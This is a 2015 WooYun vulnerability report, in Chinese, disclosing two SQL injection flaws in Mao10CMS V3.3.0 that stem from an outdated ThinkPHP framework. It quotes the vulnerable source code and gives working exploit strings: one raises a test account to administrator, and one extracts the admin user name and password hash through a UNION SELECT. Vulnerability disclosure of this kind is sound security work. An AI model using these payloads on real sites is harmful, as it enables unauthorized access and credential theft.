当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0106748

漏洞标题:Mao10CMS V3.3.0 两处sql注入(官网demo测试)

相关厂商:mao10.com

漏洞作者: %270x5c

提交时间:2015-04-13 16:13

修复时间:2015-07-12 16:18

公开时间:2015-07-12 16:18

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:20

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-04-13: 细节已通知厂商并且等待厂商处理中
2015-04-13: 厂商已经确认,细节仅向厂商公开
2015-04-16: 细节向第三方安全合作伙伴开放
2015-06-07: 细节向核心白帽子及相关领域专家公开
2015-06-17: 细节向普通白帽子公开
2015-06-27: 细节向实习白帽子公开
2015-07-12: 细节向公众公开

简要描述:

V3.3.0
两处sql注入。

详细说明:

发现mao10 用的是老版本的tp框架,于是乎注入就来了。。
#1
/Application/User/Controller/IndexController.class.php

public function edit($id=false){
if(!is_numeric($id)) {
$id = mc_user_id();
};
if(is_numeric($id)) {
if(mc_user_id()==$id) {
if(mc_remove_html($_POST['title'],'all')) {
$title = M('page')->where("title='".mc_magic_in(mc_remove_html($_POST['title'],'all'))."' AND type ='user'")->getField('id');
if(is_numeric($title) && $title!=$id) {
$this->error('昵称已存在!');
} else {
mc_update_page(mc_user_id(),mc_magic_in(mc_remove_html($_POST['title'],'all')),'title');
};
if($_POST['content']) {
mc_update_page(mc_user_id(),mc_magic_in(mc_remove_html($_POST['content'],'all')),'content');
};
if($_POST['user_avatar']) {
if(mc_get_meta(mc_user_id(),'user_avatar',true,'user')) {
mc_update_meta(mc_user_id(),'user_avatar',mc_save_img_base64($_POST['user_avatar'],true),'user');
} else {
mc_add_meta(mc_user_id(),'user_avatar',mc_save_img_base64($_POST['user_avatar'],true),'user');
}


跟进 mc_update_meta

function mc_update_meta($page_id,$meta_key,$meta_value,$type='basic',$prev_value = false) {
if($prev_value) {
$meta_valuex = M('meta')->where("page_id='$page_id' AND meta_key='$meta_key' AND type = '$type' AND meta_value='$prev_value'")->getField('meta_value');
if($meta_valuex!='') {
$meta['meta_value'] = $meta_value;
$meta['type'] = $type;
M('meta')->where("page_id='$page_id' AND meta_key='$meta_key' AND type = '$type' AND meta_value='$prev_value'")->save($meta);


进入了save,注入产生。
关于tp的这个漏洞就参见这个吧 WooYun: ThinkPHP框架架构上存在SQL注入
exp:

user_avatar[0]=exp&user_avatar[1]=10,`type`='user' WHERE ( page_id='4' AND meta_key='user_level' AND type = 'user' )#


官网测试。

2.png


成功提升为管理员权限。(测试账号:aaaaaa)
#2.
/Engine/Library/Think/Db.class.php

protected function parseWhereItem($key,$val) {
$whereStr = '';
if(is_array($val)) {
if(is_string($val[0])) {
if(preg_match('/^(EQ|NEQ|GT|EGT|LT|ELT)$/i',$val[0])) { // 比较运算
$whereStr .= $key.' '.$this->comparison[strtolower($val[0])].' '.$this->parseValue($val[1]);
}elseif(preg_match('/^(NOTLIKE|LIKE)$/i',$val[0])){// 模糊查找
if(is_array($val[1])) {
$likeLogic = isset($val[2])?strtoupper($val[2]):'OR';
if(in_array($likeLogic,array('AND','OR','XOR'))){
$likeStr = $this->comparison[strtolower($val[0])];
$like = array();
foreach ($val[1] as $item){
$like[] = $key.' '.$likeStr.' '.$this->parseValue($item);
}
$whereStr .= '('.implode(' '.$likeLogic.' ',$like).')';
}
}else{
$whereStr .= $key.' '.$this->comparison[strtolower($val[0])].' '.$this->parseValue($val[1]);
}
}elseif('exp'==strtolower($val[0])){ // 使用表达式
$whereStr .= $key.' '.$val[1];
}elseif(preg_match('/IN/i',$val[0])){ // IN 运算
if(isset($val[2]) && 'exp'==$val[2]) {
$whereStr .= $key.' '.strtoupper($val[0]).' '.$val[1];
}else{
if(is_string($val[1])) {
$val[1] = explode(',',$val[1]);
}
$zone = implode(',',$this->parseValue($val[1]));
$whereStr .= $key.' '.strtoupper($val[0]).' ('.$zone.')';
}
}elseif(preg_match('/BETWEEN/i',$val[0])){ // BETWEEN运算
$data = is_string($val[1])? explode(',',$val[1]):$val[1];
$whereStr .= $key.' '.strtoupper($val[0]).' '.$this->parseValue($data[0]).' AND '.$this->parseValue($data[1]);
}else{
E(L('_EXPRESS_ERROR_').':'.$val[0]);
}
}else {
$count = count($val);
$rule = isset($val[$count-1]) ? (is_array($val[$count-1]) ? strtoupper($val[$count-1][0]) : strtoupper($val[$count-1]) ) : '' ;
if(in_array($rule,array('AND','OR','XOR'))) {
$count = $count -1;
}else{
$rule = 'AND';
}
for($i=0;$i<$count;$i++) {
$data = is_array($val[$i])?$val[$i][1]:$val[$i];
if('exp'==strtolower($val[$i][0])) {
$whereStr .= $key.' '.$data.' '.$rule.' ';
}else{
$whereStr .= $this->parseWhereItem($key,$val[$i]).' '.$rule.' ';
}
}
$whereStr = '( '.substr($whereStr,0,-4).' )';
}
}else {
//对字符串类型字段采用模糊匹配
if(C('DB_LIKE_FIELDS') && preg_match('/('.C('DB_LIKE_FIELDS').')/i',$key)) {
$val = '%'.$val.'%';
$whereStr .= $key.' LIKE '.$this->parseValue($val);
}else {
$whereStr .= $key.' = '.$this->parseValue($val);
}
}
return $whereStr;
}


存在 in 或者 BETWEEN的时候 会把所有字符都传进来 而没有过滤。
找到一个可以利用的点。
/Application/User/Controller/IndexController.class.php

public function shoucang($id=false){
if(!is_numeric($id)) {
$id = mc_user_id();
};
if(is_numeric($id)) {
$args_id = M('action')->where("user_id='$id' AND action_key='perform' AND action_value='shoucang'")->getField('page_id',true);
file_put_contents("1.txt",$condition);
if($args_id) {
$condition['id'] = array('in',$args_id);
if($_GET['type']) {
$condition['type'] = $_GET['type'];
};
file_put_contents("1.txt",$condition);
$this->page = M('page')->where($condition)->order('id desc')->select();
};
$this->theme(mc_option('theme'))->display('User/shoucang');
} else {
$this->error('参数错误!');$this->error('参数错误!');
};
}


可以看到$_GET['type'] 没有任何处理 带入了数组进入了 where。条件满足,注入产生~
exp:

index.php?m=user&c=index&a=shoucang&type[]=%3d'pro' and 1=2 union select 1,concat((SELECT meta_value from mc_meta where meta_key='user_name' and page_id=1),(SELECT meta_value from mc_meta where meta_key='user_pass' and page_id=1)),3,4,5%23in


1.png

漏洞证明:

1.png


2.png

修复方案:

升级框架。

版权声明:转载请注明来源 %270x5c@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:20

确认时间:2015-04-13 16:17

厂商回复:

感谢反馈

最新状态:

暂无